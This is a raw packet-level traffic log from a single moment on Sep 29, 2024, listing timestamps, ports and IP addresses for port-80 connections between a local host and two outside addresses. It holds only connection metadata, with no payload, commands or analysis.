Sep 29, 2024 00:53:24.328628063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328633070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328639030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328645945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328658104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328661919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328661919 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328663111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328670025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328675985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328681946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328686953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328691006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328713894 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328713894 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328723907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328735113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328737020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328741074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328752041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328758001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328768969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328774929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328780890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328783989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328783989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328794003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328799009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328805923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328821898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328844070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328850985 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328862906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328867912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328875065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328886986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328892946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328898907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328912020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328917980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328917980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328923941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328927994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.328933954 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328938961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328944921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328949928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328969955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328975916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.328977108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328983068 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.328983068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.328989983 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329001904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329001904 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329009056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329014063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329019070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329025030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329030991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329034090 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329042912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329047918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329061985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329085112 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329085112 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329113007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329521894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329530001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329540014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.329547882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329554081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329565048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329571009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329577923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329590082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329595089 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.329596043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329602003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329607010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329608917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329619884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329627037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329643011 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329646111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329653978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329658985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329660892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329664946 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329673052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329678059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329684019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329689026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329691887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329699039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329706907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329711914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329713106 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329719067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329727888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329744101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329756975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329777956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329791069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329797029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329802990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329808950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329814911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329816103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329819918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329827070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329832077 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329833984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329848051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329853058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329859972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329859972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329883099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329902887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329926014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329936981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329942942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329953909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329960108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329966068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329966068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329972029 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329977989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329983950 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.329991102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.329994917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330002069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330008030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330018997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330032110 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330058098 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330079079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330467939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330475092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330485106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330491066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330497026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330502987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330508947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330516100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330527067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330533028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330543995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330543995 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330544949 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330550909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330555916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330563068 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330581903 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330581903 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330602884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330610037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330614090 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330615997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330621004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330632925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330638885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330651045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330657005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330668926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330676079 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330677032 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330677032 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330687046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330689907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330696106 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330718040 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330739021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330744982 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330745935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330753088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330758095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.330764055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330775976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330780983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330787897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330791950 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330791950 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330792904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330800056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330806017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330871105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.330873013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330873966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330874920 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330879927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330885887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330890894 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330897093 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330909967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330915928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330921888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330924988 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330933094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330940008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330951929 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330957890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330957890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330957890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330964088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330971956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.330997944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.330997944 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331026077 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331408978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331415892 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331422091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331427097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331433058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331439018 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331444979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331451893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331456900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331464052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331474066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331480980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331480980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331480980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331490993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331516981 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331517935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331540108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331547022 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331557989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331562996 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331563950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331569910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331581116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331587076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331593037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331598997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331599951 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331605911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331612110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331615925 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331636906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331653118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331671000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331677914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331684113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331690073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331695080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331701994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331707954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331711054 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331713915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331727028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331728935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331734896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331741095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331744909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331747055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331770897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331770897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331787109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331789970 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331794024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331804991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331810951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331815958 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331816912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331835985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331840992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331847906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331854105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331860065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331861973 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331861973 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331865072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331871986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331876993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331882954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.331970930 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.331973076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332326889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332334995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332338095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332345009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332355976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332361937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332370043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332371950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332377911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332390070 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332403898 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332425117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332458973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332465887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332477093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332483053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332489014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332500935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332504988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332508087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332515001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332525969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332525969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332532883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332544088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332545996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332557917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332568884 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332580090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332587004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332588911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332598925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332609892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332611084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332618952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332624912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332627058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332638025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332644939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332655907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332655907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332663059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332670927 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332678080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332690001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332704067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.332704067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332704067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332715034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.332715988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332751036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.332788944 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.332850933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.332860947 CEST	80	49712	176.113.115.95	192.168.2.9
